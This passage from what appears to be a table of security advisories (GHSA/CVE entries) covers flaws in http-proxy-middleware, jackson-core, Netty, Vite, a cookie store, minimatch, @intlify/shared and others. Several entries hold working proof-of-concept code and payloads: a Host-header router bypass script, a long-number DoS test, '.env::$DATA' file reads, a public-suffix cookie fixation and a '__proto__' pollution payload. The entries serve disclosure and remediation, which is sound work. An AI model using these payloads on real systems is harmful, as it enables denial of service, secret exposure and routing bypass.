&& yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header. | |
| 6.9CVSS 4.0 | GHSA-72hv-8253-57qq | Resolved | 2026-02-28 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos) | |
| 6.9CVSS 4.0 | GHSA-c69g-56f8-xwqj
CVE-2026-59900 |
Resolved | 2026-07-22 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. | |
| 6.9CVSS 4.0 | GHSA-cphf-4846-3xx9
CVE-2026-1002 |
Not affected | 2026-01-15 | 5.5 ×85.4 ×11 | The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI. The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html Mitgation Disabling Static Handler cache fixes the issue. StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false); | |
| 6.9CVSS 4.0 | GHSA-f9m8-cv68-674w
CVE-2026-107280 |
Resolved | 2026-10-08 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact The cookie store decides whether a `Domain` attribute may be accepted using only the domain-matching rule of RFC 6265 Section 5.1.3, which asks whether the request host is the domain or ends with a dot followed by it. Section 5.3 step 5, which additionally requires rejecting a `Domain` that is a public suffix, is not implemented anywhere in the client. So a host under a multi-label public suffix can set a cookie for the suffix itself, and the store then hands it to every other host under that suffix: ``` attacker.co.uk -> Set-Cookie: SID=attacker-value; Domain=co.uk; Path=/ bank.co.uk -> Cookie: SID=attacker-value ``` `Domain=uk` works the same way. The attacker needs only a site under the same suffix as the victim, which for suffixes such as `co.uk`, `com.au`, or `github.io` is trivially obtainable. Depending on what the application does with the cookie, this is session fixation, or it overwrites a session the victim site set, or it lets the attacker plant a value the victim site trusts. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 ### Relationship to CVE-2026-55688 CVE-2026-55688 (GHSA-m452-q8c9-rg2f) covered the direct form of this, where a host sets a `Domain` naming an unrelated host, and that form is genuinely fixed: `attacker.co.uk` can no longer set `Domain=bank.co.uk`, and this was verified as a control. What that fix did not add is the public suffix test, so setting `Domain=co.uk` still reaches `bank.co.uk`. This advisory covers only the residual. ### Patches Fixed in 3.0.13 on the 3.x line. The ICANN section of the Mozilla public suffix list is bundled with the client and a `Domain` matching it is rejected, honouring the list's wildcard and exception rules. The list is data and goes stale, so a suffix added upstream after a release is not recognised until the bundled copy is refreshed. The 2.x line is not yet fixed. ### Workarounds Do not share one `CookieStore` across origins that are not mutually trusted. Supplying a `CookieStore` implementation that rejects `Domain` values which are public suffixes also avoids it. ### Details `ThreadSafeCookieStore.domainsMatch` is `requestDomain.equals(cookieDomain) || requestDomain.endsWith('.' + cookieDomain)`. It is used both to accept a `Domain` on storage and to select cookies for a request, and neither call site consults a public suffix list. A search of the client for any public suffix or effective TLD handling returns nothing. | |
| 6.9CVSS 4.0 | GHSA-fccg-mwvh-qqg4
CVE-2026-75596 |
Resolved | 2026-09-08 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary Netty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing **superlinear (quadratic) CPU work** before the handshake completes. With 4095 one-byte fragments, the handler recopies **8,386,560 bytes** from only **24,579 bytes** on the wire — a **341× amplification** ratio. ### Affected Entrypoints - `io.netty.handler.ssl.SniHandler` — default constructors - `io.netty.handler.ssl.SslClientHelloHandler` — pre-handshake ClientHello aggregation path ### Vulnerable Code Locations - `handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85` - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75` (decode entry) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165` (handshakeBuffer.clear) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174` (writeBytes re-copy) - `codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294` (cumulation retention) ### Exploit Path ``` 1. TCP connection → SniHandler → SslClientHelloHandler.decode 2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes) 3. Attacker sends thousands of tiny follow-on handshake records (1 byte each) 4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes 5. Total bytes copied = n*(n+1)/2 where n = number of body bytes → quadratic 6. Event-loop CPU exhausted before SslHandler takes over ``` ### Impact - **Vulnerability Type:** Inefficient Algorithmic Complexity - An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop - Affects **all** Netty deployments using `SniHandler` for TLS termination (the default SNI path) - No privileges, user interaction, or special configuration required - Can degrade or stall TLS connection handling for all clients on the affected event loop - The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work --- ### Credits Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | |
| 6.9CVSS 4.0 | GHSA-fx2h-pf6j-xcff
CVE-2026-53571 |
Not affected | 2026-06-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) ### Details Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Access via browser at `http://localhost:5173/.env::$DATA?raw` <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" /> Example expected result: - `/.env::$DATA?raw` returns the contents of `.env` - `/tls.pem::$DATA?raw` returns the contents of `tls.pem` | |
| 6.9CVSS 4.0 | GHSA-g3hv-75wg-m249 | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | minimatch 10.2.6 contains an attacker-controlled pattern amplification in firstPhasePreProcess() when optimizationLevel >= 2. researcher: Reid Downing (b1nv0id) files: - src/index.ts: 690-770 - src/index.ts: 780-796 issue: input-controlled growth of globParts during first-phase preprocessing, followed by quadratic second-phase processing. the **/../ transformation clones a globparts entry and appends the clone to the same globparts array: ``` parts.splice(gs, 1) const other = parts.slice(0) other[gs] = '**' globParts.push(other) ``` this occurs inside a do...while (didSomething) fixpoint loop, allowing generated entries to be processed again. the expanded globparts array is subsequently processed by secondPhasePreProcess(), which performs pairwise comparisons: ``` for (let i = 0; i < globParts.length - 1; i++) { for (let j = i + 1; j < globParts.length; j++) { this.partsMatch(...) } } ``` an attacker who can supply a glob pattern can therefore cause additional pattern entries to be generated during preprocessing, followed by quadratic pairwise processing, resulting in excessive cpu and memory consumption. | |
| 6.9CVSS 4.0 | GHSA-ghr5-ch3p-vcr6
CVE-2024-33883 |
Not affected | 2024-04-28 | 5.6 ×95.5 ×205.4 ×14 | The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection. | |
| 6.9CVSS 4.0 | GHSA-hjwq-mjwj-4x6c
CVE-2024-52810 |
Resolved | 2024-12-02 | 5.4 ×14 | **Vulnerability type: Prototype Pollution** **Affected Package:** Product: @intlify/shared Version: 10.0.4 **Vulnerability Location(s):** `node_modules/@intlify/shared/dist/shared.cjs:232:26` **Description:** The latest version of `@intlify/shared (10.0.4)` is vulnerable to Prototype Pollution through the entry function(s) `lib.deepCopy`. An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ```bash // install the package with the latest version ~$ npm install @intlify/shared@10.0.4 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js (async () => { const lib = await import('@intlify/shared'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ``` **References** [Prototype Pollution Leading to Remote Code Execution](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - An example of how prototype pollution can lead to command code injection. [OWASP Prototype Pollution Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html) - Best practices for preventing prototype pollution. [PortSwigger Guide on Preventing Prototype Pollution](https://portswigger.net/web-security/prototype-pollution/preventing) - A detailed guide to securing your applications against prototype pollution. | |
| 6.9CVSS 4.0 | GHSA-hp3w-g68c-fv3c | Resolved | 2026-09-24 | 5.4 ×13 | sprintf-js through 1.1.3 passes unbounded precision specifiers to toFixed, toExponential, and toPrecision methods without validation, causing uncaught RangeError exceptions. Attackers who control format strings can inject precision values exceeding ECMAScript limits to abort calling operations with minimal payload. |